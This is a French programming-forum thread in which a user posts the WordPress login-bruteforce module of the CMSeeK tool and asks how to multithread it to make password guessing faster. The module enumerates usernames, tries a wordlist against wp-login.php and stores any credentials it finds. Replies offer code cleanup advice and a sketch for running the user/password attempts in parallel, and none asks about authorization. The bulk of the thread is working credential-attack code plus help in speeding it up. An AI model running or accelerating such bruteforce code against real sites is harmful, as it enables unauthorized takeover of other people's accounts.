IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Python Discussion :

utiliser le multithread


Sujet :

Python

  1. #1
    Débutant   Avatar de kaking
    Profil pro
    Inscrit en
    Mars 2008
    Messages
    753
    Détails du profil
    Informations personnelles :
    Âge : 35
    Localisation : France, Paris (Île de France)

    Informations forums :
    Inscription : Mars 2008
    Messages : 753
    Points : 262
    Points
    262
    Par défaut utiliser le multithread
    Bonjour,

    J'ai un script de bruteforce que j'ai récupéré (cmseek) et j'aurai aimé rajouter le multiprocessing qui est importé mais pas utilisé... effectivement le bruteforce prends des heures alors que j'aurai un multithread, ca serait plus efficace...

    Je n'ai pas grandes connaissances en python étant dev PHP, mais le code est assez simple à comprendre

    vous auriez une idée s'il vous plait ?

    Merci !!

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    import cmseekdb.basic as cmseek
    import cmseekdb.sc as source # Contains function to detect cms from source code
    import cmseekdb.header as header # Contains function to detect CMS from gathered http headers
    import deepscans.wp.userenum as wp_user_enum
    import multiprocessing ## Let's speed things up a lil bit (actually a hell lot faster) shell we?
    from functools import partial ## needed somewhere :/
    import sys
    import cmseekdb.generator as generator
     
    def start():
        cmseek.clearscreen()
        cmseek.banner("WordPress Bruteforce Module")
        url = cmseek.targetinp("") # input('Enter Url: ')
        cmseek.info("Checking for WordPress")
        bsrc = cmseek.getsource(url, cmseek.randomua('thiscanbeanythingasfarasnowletitbewhatilovethemost'))
        if bsrc[0] != '1':
            # print(bsrc[1])
            cmseek.error("Could not get target source, CMSeek is quitting")
            cmseek.handle_quit()
        else:
            ## Parse generator meta tag
            parse_generator = generator.parse(bsrc[1])
            ga = parse_generator[0]
            ga_content = parse_generator[1]
     
            try1 = generator.scan(ga_content)
            if try1[0] == '1' and try1[1] == 'wp':
                wpcnf = '1'
            else:
                try2 = source.check(bsrc[1], url)
                if try2[0] == '1' and try2[1] == 'wp':
                    wpcnf = '1'
                else:
                    wpcnf = '0'
        if wpcnf != '1':
            print(bsrc[1])
            cmseek.error('Could not confirm WordPress... CMSeek is quitting')
            cmseek.handle_quit()
        else:
            cmseek.success("WordPress Confirmed... Checking for WordPress login form")
            wploginsrc = cmseek.getsource(url + '/wp-login.php', cmseek.randomua('thatsprettygay'))
            if wploginsrc[0] == '1' and '<form' in wploginsrc[1]:
                cmseek.success("Login form found.. Detecting Username For Bruteforce")
                wpparamuser = []
                uenum = wp_user_enum.start('wp', url, cmseek.randomua('r'), '0', bsrc[1])
                usernamesgen = uenum[0]
                wpparamuser = uenum[1]
     
                if wpparamuser == []:
                    customuser = input("[~] CMSeek could not enumerate usernames, enter username if you know any: ")
                    if customuser == "":
                        cmseek.error("No user found, CMSeek is quitting")
                    else:
                        wpparamuser.append(customuser)
                wpbruteusers = set(wpparamuser)
     
                for user in wpbruteusers:
                    passfound = '0'
                    print('\n')
                    cmseek.info("Bruteforcing User: " + cmseek.bold + user + cmseek.cln)
                    with open("wordlist/passwords.txt", "r") as pwd_file:
                        passwords = pwd_file.read().split('\n')
                    passwords.insert(0, user)
                    passwords.insert(0, user[::-1])
     
                    for password in passwords:
                        print(password)
                        if password != '' and password != '\n':
                            sys.stdout.write('[*] Testing Password: ')
                            sys.stdout.write('%s\r\r' % password)
                            sys.stdout.flush()
                            cursrc = cmseek.wpbrutesrc(url, user, password)
                            if 'wp-admin' in str(cursrc[3]):
                                cmseek.success('Password found!')
                                print(" |\n |--[username]--> " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |")
                                cmseek.success('Enjoy The Hunt!')
                                cmseek.savebrute(url,url + '/wp-login.php',user,password)
                                passfound = '1'
                                break
                            else:
                                continue
                            break
                    if passfound == '0':
                            cmseek.error('\n\nCould Not find Password!')
                    print('\n\n')
     
            else:
                cmseek.error("Couldn't find login form... CMSeeK is quitting")
                # print(wploginsrc[1])
                cmseek.handle_quit()
    fan de Dune et de Monkey Island ? venez voir mon jeu point and click du style du jeu DUNE sorti en 1992 ! DUNE - Moneo au service de l'Empereur-dieu

  2. #2
    Expert éminent sénior
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 287
    Points : 36 776
    Points
    36 776
    Par défaut
    Salut,

    Il faudrait commencer par définir les opérations qui mériteraient d'être exécutées en parallèle...
    note: En l'état à par exécuter (en parallèle) plusieurs fonctions start...

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

  3. #3
    Expert éminent sénior
    Avatar de Sve@r
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Février 2006
    Messages
    12 690
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Oise (Picardie)

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : Aéronautique - Marine - Espace - Armement

    Informations forums :
    Inscription : Février 2006
    Messages : 12 690
    Points : 30 985
    Points
    30 985
    Billets dans le blog
    1
    Par défaut
    Bonjour
    Déjà avant de regarder le multiprocessing (qui n'est pas aussi performant qu'on pourrait le croire, car il faut rajouter des outils de communication pour que p2 sache que p1 a trouvé et où, de toute façon, tout tourne sur la même machine), il serait bon de regarder si le code peut pas être un peu optimisé car là, on a l'impression d'un truc en basic qui aurait été retranscrit en Python (et je dis bien "retranscrit" et non "porté")

    Par exemple au lieu de tester if truc[0] == '1' and truc[1] == 'wp', on peut écrire if truc == ('1', 'wp') (sous réserve que "truc" soit un tuple de seulement 2 éléments mais même s'il ne l'est pas, on peut le transformer en tuple).
    Puis ensuite, on écrit wpcnf = '1' pour aller plus bas tester if wpcnf == '1'. Autant écrire alors wpcnf = True pour aller simplement tester if wpcnf. Et comme if truc == ('1', 'wp') est aussi un booléen, on peut alors écrire directement wpcnf = (truc == ('1', 'wp')). Et pareil partout où on teste '1' et '0' on peut remplacer ça par du True/False.
    Ensuite if password != '' and password != '\n' peut s'écrire directement if password car déjà les '\n' ont été supprimés lors du split() deux lignes plus haut et une chaine différente de "chaine vide" est considérée comme "vrai".

    De même je ne comprends pas trop ce gros "if" final. On a
    Code python : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    for ...
    	if 'wp-admin' in str(cursrc[3]):
    		... (plein de trucs)...
    	else:
    		continue
    	break
    Ca va ce code ? Clair et élégant ??? Et simple surtout !!!
    Code python : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    for ...
    	if 'wp-admin' in str(cursrc[3]):
    		... (plein de trucs)...
    		break
    Pas un peu plus logique ??? Accessoirement utiliser un "else de boucle" permet de n'avoir pas besoin de flag. Autrement dit,
    Code python : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    for ...
    	if trouve:
    		print("le mot de passe est truc")
    		passfound=True
    		break
    if not passfound: print("pas trouvé")
    s'écrit
    Code python : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    for ...
    	if trouve:
    		print("le mot de passe est truc")
    		break
    else: print("pas trouvé")

    Donc déjà commencer par corriger ce qui peut l'être avant de tenter le multiprocesser. Parce que multiprocesser un code pourri ne fera que multiplier le code pourri, pas l'améliorer.
    Mon Tutoriel sur la programmation «Python»
    Mon Tutoriel sur la programmation «Shell»
    Sinon il y en a pleins d'autres. N'oubliez pas non plus les différentes faq disponibles sur ce site
    Et on poste ses codes entre balises [code] et [/code]

  4. #4
    Expert confirmé Avatar de papajoker
    Homme Profil pro
    Développeur Web
    Inscrit en
    Septembre 2013
    Messages
    2 104
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Nièvre (Bourgogne)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Septembre 2013
    Messages : 2 104
    Points : 4 454
    Points
    4 454
    Par défaut
    bonjour

    Puisque tu ne connais pas python, ce travail risque d'être herculéen pour toi
    en gros, une chose qui peut être de la forme :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    for user in users:
        for pass in passwords:
            taches.append( créer_tache(url, user, pass) )
     
    executerTaches(cmseek.wpbrutesrc, taches)
    $moi= ( !== ) ? : ;

  5. #5
    Débutant   Avatar de kaking
    Profil pro
    Inscrit en
    Mars 2008
    Messages
    753
    Détails du profil
    Informations personnelles :
    Âge : 35
    Localisation : France, Paris (Île de France)

    Informations forums :
    Inscription : Mars 2008
    Messages : 753
    Points : 262
    Points
    262
    Par défaut
    alors déjà merci pour ces réponses rapides, ca fait plaisir

    Ensuite, ce qui est à mettre en parallèle, c'est les tests password car aujourd'hui en 1 seconde il fait un test... le fichier de passwords contenant 10000 lignes, ca fait long !

    Plein d'outils que j'ai vu en python integrent le multithread sur github, mais aucun ne me satisfait.

    https://github.com/Tuhinshubhra/CMSeeK c'est l'outil que j'utilise...

    damned, je ne suis pas sorti du sable !
    fan de Dune et de Monkey Island ? venez voir mon jeu point and click du style du jeu DUNE sorti en 1992 ! DUNE - Moneo au service de l'Empereur-dieu

  6. #6
    Expert éminent sénior
    Homme Profil pro
    Architecte technique retraité
    Inscrit en
    Juin 2008
    Messages
    21 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Manche (Basse Normandie)

    Informations professionnelles :
    Activité : Architecte technique retraité
    Secteur : Industrie

    Informations forums :
    Inscription : Juin 2008
    Messages : 21 287
    Points : 36 776
    Points
    36 776
    Par défaut
    Si c'est ce bout là à paralléliser:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
                   for password in passwords:
                        print(password)
                        if password != '' and password != '\n':
                            sys.stdout.write('[*] Testing Password: ')
                            sys.stdout.write('%s\r\r' % password)
                            sys.stdout.flush()
                            cursrc = cmseek.wpbrutesrc(url, user, password)
                            if 'wp-admin' in str(cursrc[3]):
                                cmseek.success('Password found!')
                                print(" |\n |--[username]--> " + cmseek.bold + user + cmseek.cln + "\n |\n |--[password]--> " + cmseek.bold + password + cmseek.cln + "\n |")
                                cmseek.success('Enjoy The Hunt!')
                                cmseek.savebrute(url,url + '/wp-login.php',user,password)
                                passfound = '1'
                                break
                            else:
                                continue
                            break
                    if passfound == '0':
                            cmseek.error('\n\nCould Not find Password!')
                    print('\n\n')
    il faut déjà le restructurer pour ne plus traiter un password après l'autre mais n passwords à la fois (via une fonction qui fera le boulot pour chacun des n passwords). Restera alors un petit travail pour paralléliser avec multiprocessing. (mais c'est du boulot et pas pour des débutants).

    - W
    Architectures post-modernes.
    Python sur DVP c'est aussi des FAQs, des cours et tutoriels

Discussions similaires

  1. Comment utiliser le multithread dans mon cas?
    Par Vanito dans le forum Général Dotnet
    Réponses: 12
    Dernier message: 04/10/2012, 08h39
  2. Réponses: 2
    Dernier message: 02/08/2012, 09h06
  3. [C#2005] Comment utiliser le multithreading
    Par Herlece dans le forum Windows Forms
    Réponses: 6
    Dernier message: 22/10/2008, 13h40
  4. Serveur FTP utilisant le multithreading
    Par randazar dans le forum C++Builder
    Réponses: 3
    Dernier message: 16/06/2007, 12h53
  5. Chargement d'une DLL et utilisation du multithread
    Par Maitre Kanter dans le forum Langage
    Réponses: 6
    Dernier message: 07/09/2004, 23h18

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo